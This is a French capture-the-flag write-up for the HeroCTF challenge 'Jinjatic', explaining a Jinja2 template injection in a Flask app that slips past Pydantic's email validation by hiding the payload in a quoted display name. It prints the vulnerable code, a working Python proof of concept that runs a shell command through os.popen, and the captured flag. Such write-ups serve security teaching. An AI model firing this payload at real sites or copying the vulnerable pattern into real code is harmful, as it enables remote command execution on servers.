Énoncé #
A platform that allows users to render welcome email’s template for a given customer, sounds great no ?
Deploy on deploy.heroctf.fr
Format: Hero{flag}
Author: Worty
Aperçu #
Le challenge fournit l’arborescence suivante:
.
├── challenge.yml
├── dist
│ └── jinjatic.tar.xz
├── docker-compose.yml
├── Makefile
├── README.md
└── src
├── challenge
│ ├── app.py
│ ├── requirements.txt
│ └── templates
│ ├── home.html
│ ├── mail.html
│ └── result.html
├── Dockerfile
├── flag.txt
└── getflag.c
5 directories, 13 filesLe site est minimal: le formulaire de /mail reçoit une adresse e-mail, puis /render génère un message de bienvenue qui la reprend. Le backend impose toutefois le type EmailStr de Pydantic avant d’afficher le résultat.
Résolution #
Du reflet à la SSTI #
Constat. L’adresse saisie réapparaît dans la réponse. Le code de l’application montre surtout qu’elle est interpolée dans une chaîne avant que celle-ci ne soit transmise à Template(...).render():
Afficher le code source
email_template = '''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Email Result</title>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<div class="alert alert-success text-center">
<h1>Welcome on the platform!</h1>
<p>Your email to connect is: <strong>%s</strong></p>
</div>
<a href="/mail" class="btn btn-primary">Generate another welcome email</a>
</div>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
'''
...
@app.route('/render', methods=['POST'])
def render_email():
email = request.form.get('email')
try:
email_obj = EmailModel(email=email)
return Template(email_template % (email)).render()
except ValidationError as e:
return render_template('mail.html', error="Invalid email format.")Ce rendu fait de l’entrée utilisateur du code de template: il s’agit d’une SSTI Jinja. Le test arithmétique suivant le confirme:
test+{{7*7}}@heroctf.frLa réponse contient alors [email protected]. Cette première preuve ne suffit cependant pas à exécuter une commande: les payloads Jinja utiles pour cela emploient notamment des parenthèses, et la chaîne doit toujours franchir EmailModel(email=email).
La contrainte de EmailModel
#
EmailModel délègue le contrôle du champ à EmailStr. En suivant cette validation jusqu’à validate_email(), on trouve le traitement des adresses accompagnées d’un nom d’affichage:
m = pretty_email_regex.fullmatch(value) # value = email
name: str | None = None
if m:
unquoted_name, quoted_name, value = m.groups()
name = unquoted_name or quoted_name
email = value.strip()
try:
parts = email_validator.validate_email(email, check_deliverability=False)
except email_validator.EmailNotValidError as e:
raise PydanticCustomError(
'value_error', 'value is not a valid email address: {reason}', {'reason': str(e.args[0])}
) from eSi la chaîne correspond à ce format, Pydantic sépare le nom de l’adresse et ne transmet que la partie email à email_validator. La construction de pretty_email_regex précise les formes acceptées:
def _build_pretty_email_regex() -> re.Pattern[str]:
name_chars = r'[\w!#$%&\'*+\-/=?^_`{|}~]'
unquoted_name_group = rf'((?:{name_chars}+\s+)*{name_chars}+)'
quoted_name_group = r'"((?:[^"]|\")+)"'
email_group = r'<\s*(.+)\s*>'
return re.compile(rf'\s*(?:{unquoted_name_group}|{quoted_name_group})?\s*{email_group}\s*')
pretty_email_regex = _build_pretty_email_regex()Le groupe quoted_name_group accepte les caractères nécessaires à la payload, notamment les parenthèses et les apostrophes. Il doit être suivi de email_group, qui contient une véritable adresse entre chevrons. On peut donc placer l’expression Jinja dans un nom d’affichage entre guillemets tout en laissant Pydantic valider une adresse anodine:
"(SSTI)" <[email protected]>La validation interne porte sur l’adresse extraite. L’application ignore toutefois l’objet email_obj ainsi produit et interpole ensuite la valeur originale de request.form dans email_template. L’expression Jinja reste donc présente au moment du rendu: c’est le bypass.
Exploitation et résultat #
Cette technique, documentée dans la référence HackTricks sur les SSTI Jinja2, s’appuie sur les globales de cycler pour atteindre os.popen(). La payload exécute ensuite ../getflag, un chemin cohérent avec l’application lancée depuis /app et le binaire installé à la racine. Le PoC final est:
import requests
url = 'http://dyn03.heroctf.fr:14993/render'
payload = """{{cycler.__init__.__globals__.os.popen('../getflag').read()}}"""
r = requests.post(url, data={'email': f'"({payload})" <[email protected]>'})
print(r.text)La réponse rendue contient le résultat de la commande:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Email Result</title>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<div class="alert alert-success text-center">
<h1>Welcome on the platform!</h1>
<p>Your email to connect is: <strong>"HERO{f815460cee723a7d1ba1f0a70f68482c}" <[email protected]></strong></p>
</div>
<a href="/mail" class="btn btn-primary">Generate another welcome email</a>
</div>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>Flag: HERO{f815460cee723a7d1ba1f0a70f68482c}
Le point clé est ainsi le décalage entre la valeur que EmailStr extrait pour la valider et la chaîne originale que l’application confie ensuite à Jinja.